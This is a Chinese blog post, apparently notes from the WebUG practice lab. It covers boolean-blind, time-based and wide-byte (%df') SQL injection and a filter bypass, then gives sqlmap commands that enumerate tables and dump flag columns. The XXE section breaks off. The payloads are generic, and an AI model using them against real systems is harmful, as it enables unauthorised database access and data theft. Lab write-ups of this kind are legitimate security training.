概述
一、布尔注入
id=1‘’or 1=1–+
这里存在注入点
id=1’order by 3–+
利用order by判断字段
Order by 3的时候页面发生变化。
所以应该是有两个可以显示的地方。
利用left()函数判断数据库名,先判断数据库名长度
大于5的时候页面发生变化,说明数据库名长度应该是5.
id=1’ and left(database(),1)>‘w’–+
猜测出数据库名的第一个字符是w
前两个是we,这样逐步猜测出数据库名是webug.
查看当前数据库表
id=1’ and ascii(substr((select table_name from information_schema.tables where table_schema=‘webug’ limit 0,1),1,1))>100–+
大于100的时候页面发生变化,第一个字符是d
这样就爆出了webug库中的第一个表的第一个字符。判断第二个字符用就是修改为substr(***,2,1)
前两个字符就是da 这样逐步爆出表名
爆出webug下的表:data_crud,env_list,env_path,flag,sqlinjection,user,user_test
Flag不在flag表里面,要去爆env_list表
id=1’ and ascii(substr((select column_name from information_schema.columns where table_name=‘env_list’ limit 0,1),1,1))>105%23
这样爆出所有的列名
env_list表里有:id,envName,envDesc,envIntegration,delFlag,envFlag,level,type
看看第一关的flag是不是在envFlag里面。
id=1’ and substr((select envFlag from env_list where id=1 limit 0,1),1,16)=‘dfafdasfafdsadfa’%23
页面无变化,说明正确,第一关的flag确实在里面。
那么通过 修改id=2 可以逐步爆出第二关的密码
然后通过修改substr(***,2,1)得到flag的第二个字符是d
后得出flag:fdsafsdfa
手工一点点做太麻烦了,可以用burp刷
在查询到几个表和表名长度后:
第一个表长9个字符
;2–8;3–8;4–4;5–12;6–4;7–9
爆破表名:
?id=1’ and (substr((select table_name from information_schema.tables
where table_schema=‘webug’ limit 0,1),1,1))=‘b’–+
第一个位置表示第几个表,第二个位置表示表名的第几个字段,第三个位置就是要匹配的字段。
得出第一个表名的第一个字母为d。
最后得出表名:
data_crud;env_list;env_path;flag;sqlinjection;user;user_test。
之后都类似
二、post注入
post注入是通过对输入框进行传参,可以被带入数据库进行的查询
注入的两个条件:
1.用户可以控制传参,
2.用户输入的语句被带入数据库进行查询
通过对输入框进行元素审查,发现请求类型是post类型
在输入框输入1’报错,1’#返回正常
说明页面可能存在注入点。
先随便提交一个东西,然后f12
在网络里面找到post,然后点开,在参数里面可以看到这个输入点是keyWordName。
输入1’页面报错,输入1’#页面正常。
说明列数为2.通过对注入类型不断尝试,发现可以使用延时注入进行爆破。
- 先进行数据库名长度的爆破:
keyWordName=1’ or if(length(database())>4,sleep(3),1)#有延时,通过修改大于号后面的数字判断出数据库名的长度为5
- 判断数据库名称:
keyWordName=1’ or if(ascii(substr(database(),1,1))>97,sleep(3),1)#,有延时
逐步判断出数据库名的第一个字符为w
通过修改箭头部分来判断所有的数据库名。
- 然后判断数据库里面表的个数:
keyWordName=1’ or if((select count(table_name)from information_schema.tables where table_schema=database())>6,sleep(3),1)#有延时,而>7没有延时。
判断出有7个表。
- 判断每个表名的长度:
keyWordName=1’ or if(length(substr((select table_name from
information_schema.tables where table_schema=database() limit 0,1),1))>2,
sleep(5),1) #
判断出第一个表名的长度是9个字符
标记错了,应该是修改limit 0,1,limit i,1.这样能得出第i个表的长度
那么第6个表长度为4可能就是flag
第6个表的第一个字符是u,可能是user,不是flag表。
手工注入不下去了。。
- 用sqlmap跑,先用burpsuite拦一下包
- 把这个保存到txt,这里我放到了根目录下
- Sqlmap -r ”~/a.txt” --dbs是爆出所有的数据库
- Sqlmap -r “~/a.txt”-D webug --tables 爆出webug下所有的表
- 接下来就要爆表中的数据了
sqlmap -r “a.txt” -D webug -T flag --columns
- 获取flag列中的内容:
sqlmap -r a.txt -D webug -T flag -C “flag” --dump --batch
–batch就是自动默认之后你要选的选项。
看到结果应该是爆错了表,这应该是第一关的flag.那就继续爆别的表 env_list
好像爆出了所有的flag…
三、过滤注入
对select的大小写都屏蔽了。
但发现单独把select写出来才会被屏蔽,放在payload里面也并没有被屏蔽掉,此题过滤相当于无,注入方法和布尔注入一致。。
三、宽字节注入
参考链接
addslashes() 函数会对括号里 (’) 、(")、 ()、 (NULL)、的四个字符添加反斜杠并将其返回。
如果SQL输入经过了addslashes() 函数处理,我们输入’ 时 会变成 ’。一般绕过的方法有两种
- 将 ’ 前面的 斜杠 进行转义 ’ 这样单引号就能绕过,逃逸出来
- 想办法去掉前面的
Mysql有一个特性,在进行GBK编码时会将两个字符认为一个汉字(前提是第一个字符的ASCII大于128才能达到汉字范围)。
简单理解,数据库编码与PHP编码设置为不同的两个编码那么就有可能产生宽字节注入,常见的宽字节: GB2312、GBK、GB18030、BIG5、Shift_JIS
在网址后加%df’,(%df转为10进制是223,大于128)
单引号变成了’,的十六进制是%5c,程序的默认字符集如果是以上提到过的字符集,Mysql可能会认为%df%5c是一个宽字符,使得单引号逃逸出来了。
接下去的注入过程就是简单的显错注入的过程了。
数据库名
爆出数据库名:information_schema mysql performance_schema webug webug_sys webug_width_byte
表名
在table_schema这里直接用数据库名,会报错,因为识别不了,需要将其转换为十六进制形式,用bp 的decode板块就能实现。
表名:sqlinjection storage_xss
列名
爆sqlinjection 表
是空值,所以应该不在这个表中。通过看攻略,发现flag在webug库下的env_list表中
表里有 id,envName,envDesc,envIntegration,delFlag,envFlag,level,type
flag:dfsadfsadfas
现在才得出经验,所有的flag都在env_list表中,通过Id来获取。通过之前用sqlmap爆破注入也能看出来
四、xxe注入
xxe:XML External Entity 即外部实体,从安全角度理解成XML External Entity attack 外部实体注入攻击。由于程序在解析输入的XML数据时,解析了攻击者伪造的外部实体而产生的。
XML由3个部分构成,它们分别是:文档类型定义(Document Type Definition,DTD),即XML的布局语言;可扩展的样式语言(Extensible Style Language,XSL),即XML的样式表语言;以及可扩展链接语言(Extensible Link Language,XLL)
……
最后
以上就是干净乌冬面为你收集整理的webug笔记——注入的全部内容,希望文章能够帮你解决webug笔记——注入所遇到的程序开发问题。
如果觉得靠谱客网站的内容还不错,欢迎将靠谱客网站推荐给程序员好友。
发表评论 取消回复